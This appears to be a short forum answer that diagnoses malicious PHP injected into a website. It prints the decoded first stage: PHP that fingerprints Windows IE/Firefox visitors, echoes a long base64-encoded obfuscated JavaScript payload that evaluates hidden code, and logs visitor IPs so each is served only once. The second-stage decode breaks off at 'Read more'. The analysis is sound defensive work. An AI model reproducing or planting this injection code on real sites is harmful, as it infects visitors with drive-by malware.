You appear to have an html (php) block injected into your page. Possibly the result of XSS? First stage decode reveals: $ip=$_SERVER[“REMOTE_ADDR”];$dr=$_SERVER[“DOCUMENT_ROOT”];$ua = $_SERVER[‘HTTP_USER_AGENT’];$dbf=$dr.”https://stackoverflow.com/”.md5($dr.’1′); if((strpos($ua,’Windows’)!==false)&&((strpos($ua,’MSIE’)!==false)||(strpos($ua,’Firefox’)!==false))&&(strpos(@file_get_contents($dbf),$ip) === false)){ error_reporting(0); echo(base64_decode(‘PHNjcmlwdD50cnl7YWJyZSsrfWNhdGNoKGE2YmEzNHkpe3RyeXtwcm90b3R5cGUmMn1jYXRjaChhc2FiKXtlPXdpbmRvd1siZSIrInYiKyJhbCJdO319IGlmKDEpe2Y9Wy00LC01LDkwLDg5LDE4LDI1LDg3LDk3LDg0LDEwNCw5NSw4Niw5NywxMDIsMzEsOTAsODcsMTAxLDU2LDk0LDg2LDk2LDg3LDk1LDEwMywxMDEsNTEsMTA4LDcwLDgyLDkwLDY0LDgyLDk2LDg3LDI1LDI2LDg0LDk2LDg3LDEwNywyNCwyOCw3NywzMyw4MCwyNywxMDgsMCwtNSwtNiwtNCw5MSw4NywxMDEsODMsOTQsODgsMTAwLDI1LDI4LDQ1LC0yLC00LC01LDExMCwxOSw4Nyw5MywxMDIsODcsMTcsMTEwLC0xLC02LC00LC01LDg1LDk4LDg1LDEwMiw5Niw4Nyw5NSwxMDMsMzIsMTA0LDEwMSw5MSwxMDEsODgsMjYsMTksNDcsOTEsODcsMTAxLDgzLDk0LDg4LDE4LDEwMCwxMDEsODUsNDYsMjYsOTAsMTAxLDEwMyw5OCw0MywzNCwzMywxMDIsOTIsMTA3LDEwNyw5NCw5Miw5OSwzMyw4NywxMDcsMTA0LDgzLDMxLDg2LDk3LDk0LDM0LDEwNCw4NCwzMyw5OCw4OSw5OSw0OSw4OCw5OCw0NywzNSwyNiwxOCwxMDQsOTIsODYsMTAxLDkxLDQ3LDI0LDM2LDM0LDI0LDE5LDkwLDg2LDkyLDg5LDg5LDEwMyw0NywyNCwzNiwzNCwyNCwxOSwxMDEsMTAxLDEwOCw5NCw4Niw0OCwyNSwxMDMsOTIsMTAxLDkwLDg1LDkxLDkzLDkyLDEwMiwxMDYsNDUsOTAsOTAsODcsODYsODYsOTcsNDUsOTcsOTgsMTAxLDkwLDEwMyw5MSw5Niw5Nyw0NCw4Miw4NSwxMDEsOTYsOTUsMTAzLDEwMSw4OCw0NSw5Myw4OCw4OCwxMDEsNDUsMzQsNDQsMTAzLDk3LDk3LDQ1LDM0LDQ0LDI2LDQ4LDQ1LDM0LDkxLDg3LDEwMSw4Myw5NCw4OCw0OCwxOSwyOCw0NSwtMiwtNCwtNSwxMTAsMCwtNSwtNiw4OSwxMDMsOTUsODYsMTAyLDkwLDk4LDk2LDE3LDkyLDg4LDk5LDg0LDk1LDg2LDEwMSwyNiwyNiwxMTAsLTEsLTYsLTQsLTUsMTAzLDg0LDEwMCwxNyw4OSwxOCw0NiwxOSw4Niw5Niw4NiwxMDMsOTQsODgsOTYsMTAxLDMzLDg1LDk5LDg4LDgzLDEwMSw4OCw1NSw5Myw4OCw5NSw4Niw5NywxMDIsMjUsMjYsOTEsODcsMTAxLDgzLDk0LDg4LDI1LDI2LDQ2LDg4LDMxLDEwMiw4NywxMDEsNTIsMTAyLDEwMSwxMDEsOTEsODMsMTA0LDEwMiw4NiwyNywyNSwxMDAsMTAxLDg1LDI0LDMxLDI1LDg5LDEwMywxMDIsOTcsNDUsMzMsMzIsMTA0LDkxLDEwNiwxMDksOTMsOTEsMTAxLDMyLDg2LDEwOSwxMDMsODIsMzMsODUsOTYsOTYsMzMsMTAzLDg2LDMyLDk3LDkxLDk4LDQ4LDkwLDk3LDQ2LDM3LDI1LDI2LDQ2LDg4LDMxLDEwMiwxMDIsMTA2LDk1LDg3LDMxLDEwNSw5MSwxMDAsOTIsODQsOTAsOTUsOTEsMTAxLDEwOCw0NywyNCw5MSw5MSw4NSw4Nyw4Nyw5NSwyNiw0NSw4NywzMywxMDEsMTAxLDEwOCw5NCw4NiwzMyw5OCw5NiwxMDIsOTEsMTAxLDkyLDk3LDk1LDQ4LDI1LDgyLDg1LDEwMSw5Niw5NSwxMDMsMTAxLDg4LDI1LDQ0LDg5LDMyLDEwMCwxMDMsMTA3LDkzLDg4LDMyLDkzLDg4LDg4LDEwMSw0OCwyNSwzMywyNiw0NSw4NywzMywxMDEsMTAxLDEwOCw5NCw4NiwzMywxMDIsOTYsOTksNDcsMjQsMzUsMjUsNDQsODksMzIsMTAwLDg4LDEwMiw1MCwxMDMsMTAyLDk5LDkyLDg0LDEwMiwxMDMsODcsMjUsMjYsMTA1LDkwLDg3LDEwMiw4OSwyNiwzMCwyNCwzNiwzNCwyNCwyOCw0NSw4NywzMywxMDEsODYsMTAzLDUxLDEwMSwxMDMsMTAwLDkwLDg1LDEwMywxMDEsODgsMjYsMjQsOTEsODcsOTAsOTAsOTAsMTAxLDI2LDMwLDI0LDM2LDM0LDI0LDI4LDQ1LC0yLC00LC01LC02LDg3LDk3LDg0LDEwNCw5NSw4Niw5NywxMDIsMzEsOTAsODcsMTAxLDU2LDk0LDg2LDk2LDg3LDk1LDEwMywxMDEsNTEsMTA4LDcwLDgyLDkwLDY0LDgyLDk2LDg3LDI1LDI2LDg0LDk2LDg3LDEwNywyNCwyOCw3NywzMyw4MCwzMiw4Miw5OSw5OCw4Niw5Nyw4Niw1Miw5MSw5MSw5Myw4NywyNiw4NywyOCw0NSwtMiwtNCwtNSwxMTBdO313PWY7cz1bXTtyPVN0cmluZzt4PSJqJSI7Zm9yKGk9MDstaSs1NzkhPTA7aSs9MSl7aj1pO2lmKGUmJigwMzE9PTB4MTkpKXM9cytyLmZyb21DaGFyQ29kZSgoMSp3W2pdK2UoeCszKSsxMykpO30gdHJ5e2FzZ2FzZyYxM31jYXRjaChhc2dhKXtlKHMpO308L3NjcmlwdD4=’)); if ($fp = @fopen($dbf , “a”)){fputs($fp , $ip.’|’); fclose($fp);} } Second Stage Decoding Reveals: try { abre++ } catch (a6ba34y) { try { prototype & 2 … Read more